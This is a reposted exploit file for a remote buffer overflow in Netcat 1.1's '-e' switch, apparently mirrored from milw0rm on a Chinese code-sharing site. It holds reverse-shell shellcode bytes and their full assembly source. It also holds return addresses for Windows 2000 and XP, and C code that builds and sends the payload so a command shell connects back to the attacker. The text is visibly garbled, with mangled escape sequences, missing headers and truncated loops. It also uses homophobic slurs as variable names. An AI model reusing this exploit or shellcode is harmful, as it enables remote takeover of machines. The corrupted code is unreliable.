NC 1.1 -E Remote buffer overflow

xiaoxiao2021-03-06 43

/ *

Netcat V1.1, "-e" Switch, Remote Buffer Overflow Exploit V0.1

Homepage ................................................ 帖子帖子帖子帖子帖子帖子帖子帖子帖子帖子帖子帖子帖子帖子

Affected Versions .: v1.1

FIX .....................................................................................................................

To Not Act, We Let Him To Spread A Backdoor :)

Risk ..............: highly critical.

-Almost everything loaded as "nc ... -e ..." is Vulnerable

-EDucational tools such as the uw-imapd (http://www.washington.edu/imap/) Contains No Port Listener,

IF it's loaded with netcat (IE: nc -l -p 143 -t -e imapd.exe

25 -T -e pop3d.exe etc..vulnerable ..)

This Small Example Show You The Large Impact of this Hole.

-Tools Build On Netcat, I Guess Are Vulnerable, Such as The Netcat with

Authentication or Others Tools Based on Netcat Without a security check on src.

-Next Time You Run Netcat -E, Be Sure of What You Run Because As Said Hobbit,

The "-e" Switch Is Really Dangerous !!: DDD

Compilation .......: 101_ncat.cpp ......... Win32 (MSVC, Cygwin)

101_ncat.c ........... Linux (freebsd, etc ..)

Greetings .............. Nima Majidi, Behrang Fouladi (Cool Teammates; P)

Diablohorn, Kimatrix (KD-Team Guys)

Nicolas Waisman, MMiller (Skape), H.D Moore, BJWever (for the Help)

Brett Moore (for all help and specially there

For Suggesting Me That Way of Msvcrt.system CALL

Call system ()

Mov Eax, 1656E64H; MOV CMD 01010101 TO EAX

Sub Eax, 01010101h; Sub 01010101

Push Eax; Push cmd on stack with ou null byte :)

Push ESP; Location TO CMD

Call ebp; call system ()

Via That Way You Can Push On The Stack "/ X00" CMD without

Breaking your payload.

Because in the public shellcode That He Published on MailingList

Call system ()

Push 20646D63H; Push Cmd on Stack, Null EXISTS from Abovepush ESP; LOCATION TO CMD

Call ebp; call system ()

Sure it's smaller to push direclty "/ x20" cmd but

Msvcrt.system Was Also Grabbing Invalid Unicode Chars

Before "/ x20" cmd inclished ESP Pointing to CMD (Windows bug?:>) (On W2K SP4 Server).

Else to bypass a bad char, i do a small change, adding 6 NOP,

To Kick Out "/ x0a" bugging the for netcat and proLLy More.

THIS To Finally Say That The size of the shellcode is now 220 bytes instead

Of 205 (STILL AWESME for a Reversecmd Generic Win32 Shellcode)

TESTED WORKING ON W2K SP4, XP All SP. Excellent Job by Brett Moore Wich I Throw All Credits

Because this shellcode is the brain of what exploit;)

Extra ..............! All tests wre name on nc.exe from http://www.securityfocus.com/tools/139/scoreit!

! All tests were name loading netcat: nc -l -p 143 -t -e c: /imapd.exe!

(Hoping The Processus Wont Change IFFERENTLY NETCAT, I DONT Think, Else Update Urself!

! See IN The code if you need the shellcode in asm format, really useful peace of code, Thanx to bmoore and me!

! DON 'ip with # 0 as' 127.0.0.1', this will break the payload.

Bug Discovery .....: Class101

Exploit code ...: class101 at www.hat-squad.com - DFIND.KD-TEAM.com - # n3ws efnet

Quizz .............. WICH CREW IS ENOUGH Stupid To Spread Perl Worm Codes?

K _ o _ i _

Easy;>>

* /

#include

#ifdef Win32

#include "winsock2.h"

#pragma comment (Lib, "WS2_32")

#ELSE

#include

#include #include

#include

#ENDIF

// generic callback cmd execution shellcode

// by BRETT MOORE @ security-Asessment.com

// 205 bytes 8 bytes to bypass null byte questionm spoke ealier. Bmoore

// 6 NOP Added to Avoid Bad Char "/ x0a". Class101

// 1 bytes of CMP & JMP instruction added to fix an important bug. Class101

// (Shellcode Was Spawning a shell if you use it locally,

// But Access Violation Trying to spawn a shell on remote ip, now fixed.)

// = 220 bytes

Char scode [] =

"/ x01 / x00 / x00 / x00 / x00 / x00 / x00 / x01 / x4a / x36 / x4d / x53 / x56"

"/ x43 / x52 / x44 / x01 / x2a / x42 / xd4 / x8a / x57 / x53 / x32 / x5f / x33 / x32 / x01 / x7c"

"/ X81 / X2C / X4E / X68 / X5F / X57 / XC3 / XAC / XFF / XD4 / XBE / X0C / XF0 / XFD / X7F / XAD"

"/ XFF / X36 / X8B / X70 / X1C / XAD / X8B / X50 / X08 / X6A / XF8 / X8D / X5F / XF8 / X54 / X5D"

"/ x8b / x4a / x1c / x8b / x74 / x11 / x78 / x8d / x74 / x16 / x1c / xb1 / x03 / xad / x03 / xc2"

"/ x50 / x72 / xfa / x4b / x8b / x75 / xf8 / x33 / xc0 / x50 / x50 / xad / x03 / xc2 / x33 / xc9"

"/ x66 / x03 / x08 / x02 / x08 / x40 / x80 / x38 / x01 / x7d / xf5 / x58 / x40 / x66 / x3b / x0b"

"/ X75 / XE8 / X5E / X96 / X03 / X75 / XE6 / X03 / XAD / XC1 / XE0 / X02 / X03"

"/ X45 / XFC / X96 / XAD / X03 / XC2 / XAb / X4B / X80 / X3B / X01 / X75 / XC6 / XC9 / XFE / X0B"

"/ X83 / XEB / X06 / X80 / X7B / XFF / X01 / X74 / X10 / X53 / XFF / X14 / X2F / X92 / X6A / XF0"

"/ X4B / X75 / X90 / X90 / X90 / X90 / X95 / XFF / X57 / XF0 / X33 / XC9 / X51"

"/ X51 / X51 / X41 / X41 / X51 / X41 / X51 / XFF / X57 / XF8 / X87 / XCF / X5F / X83 / XC7 / X18"

"/ XAb / XAb / XAb / X4B / XFE / X0B / X4B / X53 / X53 / X50 / XFF / X51 / XF4 / XB8 / X64 / X6E"

"/ x65 / x01 / x2d / x01 / x01 / x01 / x01 / x50 / x54 / xff / xd5 / x90"; / *

BMoore.asm

*********************************************************** ***********************************

Callback shell.

Directly set std handles and call system ()

;

; 220 (DCH) bytes

;

ITS Not Code, ITS ANTIC0DE

And it works now TOO% -)

Left it in tasm format.

; TASM32-ML / M5 BMOORE.ASM

TLINK32-TPE -C -X bmoore.obj ,, import32

;

*********************************************************** ***********************************

Jimminy Jellicas ITS Been Jimplement.

; Oddity, DSP, Shammah, Santa Claus and the rest of the Loco Locals

All the o / s peeps who know what.

*********************************************************** *************************************************

; // bmoore

;

TESTED WORKING ON WIN2K SP4 Server, Pro and WinXP SP1A Pro ENG.

; // Class101

.586p

Locals

.Model flat, stdcall

EXTRN EXITPROCESS: PROC

EXTRN WSASTARTUP: PROC

EXTRN WSACLANUP: Proc

.DATA

WSADESCRIPTION_LEN EQU 256

WSASYS_STATUS_LEN EQU 128

WSADATA STRUCT

WVERSION DW?

WHIGHVERSION DW?

SZDESCRIPTION DB WSADESCRIPTION_LEN 1 DUP (?)

SZSYSTEMSTATUS DB WSASYS_STATUS_LEN 1 DUP (?)

IMAXSOCKETS DW?

IMAXUDPDG DW?

LPVENDORINFO DW?

WSAData Ends

WSADATA WSADATA

.code

*********************************************************** ***********************************

Winsock Copy to Stack Code

*********************************************************** ***********************************

Start:

Push Offset WSADATA

Push 0101H

Call WSAStartup

OR EAX, EAX

JZ Winsock_Found

JMP Codend

Winsock_found:

Mov EBX, Offset RealStart

SUB ESP, 400H

MOV EAX, ESP

Copyit:

Mov Cl, Byte PTR [EBX]

MOV BYTE PTR [EAX], CL

INC EAX

Inc EBX

CMP EBX, Offset CodeEndjle Copyit

JMP ESP

*********************************************************** ***********************************

This is the start of the shell code

*********************************************************** ***********************************

RealStart:

JMP over_data

Sockdat DB 02H, 01H, 00h, 065H

DB 07FH, 00h, 00h, 01H

Hashes DB 01H

DW 364ah

DB "MSVCRT", 01

DW 422AH

DW 8AD4H

DB "WS2_32", 01

DW 817ch

DW 4E2CH

Over_data:

Push 0acc3575fh

Call ESP

MOV ESI, 7FFDF00CH

Lodsd

Push DWORD PTR [ESI]

MOV ESI, [EAX 1CH]

Lodsd

Mov Edx, [EAX 08H]

PUSH -8

Lea EBX, [EDI-8]

LookupFunctions:

PUSH ESP

POP EBP

MOV ECX, DWORD PTR [EDX 3CH]

MOV ESI, DWORD PTR [ECX EDX 78H]

Lea ESI, DWORD PTR [ESI EDX 1CH]

MOV CL, 3

StoreAddress:

Lodsd

Add Eax, EDX

Push EAX

Loop Short StoreAddress

SearchStart:

Dec EBX

MOV ESI, DWORD PTR [EBP - 8]

XOR EAX, EAX

Push EAX

Search:

Push EAX

Lodsd

Add Eax, EDX

XOR ECX, ECX

HASHY:

Add CX, Word PTR [EAX]

Add Cl, Byte PTR [EAX]

INC EAX

CMP Byte Ptr [EAX], 01

JGE HASHY

POP EAX

INC EAX

CMP CX, [EBX]

JNE Search

POP ESI

XCHG ESI, EAX

Dec ESI

SHL ESI, 1

Add ESI, DWORD PTR [EBP - 0CH]

Lodsw

SHL EAX, 2

Add Eax, DWORD PTR [EBP - 4H]

XCHG ESI, EAX

Lodsd

Add Eax, EDX

Stosd

Dec EBX

CMP Byte PTR [EBX], 01H

JNE Short searchStart

Leave

Dec byte PTR [EBX]

SUB EBX, 06H

; // bmoore

CMP Byte PTR [EBX-1], 01H

Je Short Done_finding

; // Class101

Push EBX

Call DWORD PTR [EDI EBP]

XCHG EDX, EAX

Push -16

Dec EBX

JNE Short LookupFunctions

; // bmoore

NOP

; // Class101

DONE_FINDING:

XCHG EAX, EBP

Call [EDI - 10H]

XOR ECX, ECX

Push ECX

Push ECXPUSH ECX

Inc ECX

Push ECX

Inc ECX

Push ECX

Call [EDI - 08H]

XCHG ECX, EDI

POP EDI

Add Edi, 18h

Stosd

Dec EBX

Dec byte PTR [EBX]

Dec EBX

Push EBX

Push EAX

Call [ECX - 0CH]

Mov Eax, 1656E64H

Sub Eax, 01010101H

Push EAX

PUSH ESP

Call EBP

NOP

Call wsacleanup

Codeend:

End Start

; // bmoore

--------- EOF

* /

Static char payload [1000];

Char JMPEBX [] = "/ x73 / x1c / x57 / x7c"; file: // jmp ebx - kernel32.dll - Win2k SP4 Server, Pro ENGLISH

Char popopret [] = "/ xb1 / x2c / xc2 / x77"; File: // POP, POP, RET - MSVCRT.DLL - WINXP SP2, SP1A, SP1 Pro English - I Finally Found Out XP Exploitation; <

Char jmp1 [] = "/ xeb / x07 / x90"; file: // jmp 9 bytes down

Char JMP2 [] = "/ x90 / x90 / x90 / xe9 / x07 / xff / xff / xff"; file: // long jmp up

Char gay [] = "/ x4b / x2d / x4f / x54 / x69 / x4b"; file: // Giving BL0WJOB for Free:>

#ifdef Win32

Wsadata wsadata;

#ENDIF

Void Ver ();

Void Usage (char * us);

Int main (int Argc, char * argv [])

{

Ver ();

Unsigned long gip;

UNSIGNED SHORT GPORT;

IF ((Argc! = 6) || (ATOI (Argv [1]) <1) || (ATOI (Argv [1])> 2)) {usage (Argv [0]); Return -1;}

#ifndef Win32

GIP = INET_ADDR (Argv [4]) ^ (long) 0x00000000;

Gport = HTONS (ATOI (Argv [5])) ^ (Short) 0x0000;

#define sleep sleep Sleep

#define socket int INT

#definecloseSocket (S) Close (s)

#ELSE

IF (WSAStartup (Makeword (2,0), & WSADATA! = 0) {Printf ("[ ] WSAStartup Error / N"); Return-1;}

GIP = INET_ADDR (Argv [4]) ^ (Ulong) 0x00000000;

Gport = HTONS (ATOI (Argv [5])) ^ (usort) 0x0000;

#ENDIF

INT IP = HTONL (INET_ADDR (Argv [2])), Port = ATOI (Argv [3]), SZ, SIZEA, SIZEB, SIZEC, C, B, A;

Char * Target, * OS;

Memcpy (& Scode [6], & GIP, 4);

Memcpy (& scode [4], & gport, 2); if (ATOI (Argv [1]) == 1) {target = jmpebx; os = "WIN2K SP4 Server English / N [ ] Win2k SP4 Pro. English";

IF (ATOI (ARGV [1]) == 2) {target = popopret; OS = "WinXP sp2 pro. ENGLISH / N [ ] WinXP sp1a pro. english / n [ ] WinXP sp1 pro. english";}

Socket S; FD_SET MASK; Struct TimeVal Timeout; Struct SockAddr_in Server;

S = Socket (AF_INET, SOCK_STREAM, 0);

IF (s == - 1) {Printf ("[ ] socket () error / n"); return -1;}

Printf ("[ ] Target (S):% S / N", OS);

Server.sin_family = af_INet;

Server.sin_addr.s_addr = HTONL (IP);

Server.sin_port = htons (port);

Connect (S, Struct SockAddr *) & Server, SIZEOF (Server));

Timeout.tv_sec = 3; timeout.tv_usec = 0; fd_zero (& Mask); fd_set (s, & mask);

Switch (SELECT (S 1, NULL, & MASK, NULL, & TIMEOUT)

{

Case-1: {Printf ("[ ] select () error / n"); CloseSocket (s); return -1;}

Case 0: {Printf ("[ ] Connect () Error / N"); CloseSocket (s); return -1;}

DEFAULT:

IF (FD_Isset (S, & Mask))

{

Printf ("[ ] Connected, Constructing The PayLoad ... / n");

#ifdef Win32

SLEEP (2000);

#ELSE

Sleep (2);

#ENDIF

SIZEA = 10;

Sizeb = 228-sizeof (scode);

SIZEC = 25;

SZ = 10 227 3 4 8 25;

MEMSET (PayLoad, 0, Sizeof (payload);

For (a = 0; a

Strcat (payload, scode);

FOR (b = 0; b

STRCAT (PayLoad, JMP1);

STRCAT (PayLoad, Target);

STRCAT (PayLoad, JMP2);

FOR (c = 0; c

IF (SEND (S, PAYLOAD, STRLEN (PAYLOAD, 0) == - 1) {Printf ("[ ] sending error, the server prolly rebooted./n" );return -1;} # ifdef Win32

Sleep (1000);

#ELSE

Sleep (1);

#ENDIF

Printf ("[ ] Size of PayLoad:% D / N", SZ);

Printf ("[ ] PayLoad Send, Look at Your Listener, You Should Get A Shell / N");

Return 0;

}

CloseSocket (s);

#ifdef Win32

WSACLEANUP ();

#ENDIF

Return 0;

}

Void Usage (char * us)

{

Printf ("USAGE: 101_ncat.exe Target Vulnip Vulnport Gayip GayPort / N");

Printf ("Targets: / N");

Printf ("[ ] 1. Win2k SP4 Server English (*) / N");

Printf ("[ ] 1. Win2k sp4 pro. ENGLISH (*) / n");

Printf ("[ ] 2. WinXP sp1 pro. ENGLISH (*) / n");

Printf ("[ ] 2. WinXP sp1a pro. eNGLISH (*) / n");

Printf ("[ ] 2. WinXP sp2 pro. ENGLISH (*) / n");

Printf ("NOTE: / N");

Printf ("" The Exploit Reverse A CMD to Gayip: gayport:> / n ");

Printf ("A Wildcard (*) Mean Tested./N");

Return;

}

Void Ver ()

{

Printf ("/ n");

Printf ("================================================ ==== [v0.1] ==== / n ");

Printf ("========== Netcat v1.1, the TCP / IP SWISS ARMY KNIFE =================== / N");

Printf ("========== /" - E / "Switch, Remote Buffer overflow expedition ========== / n"); Printf ("======================================================================================================================================================================================== ============= [HAT-SQUAD.COM 2004] ===== / n ");

Printf ("================================================ =============== / n ");

Printf ("/ n");

} // millw0rm.com

转载请注明原文地址:https://www.9cbs.com/read-76298.html

9cbs

New Post(0)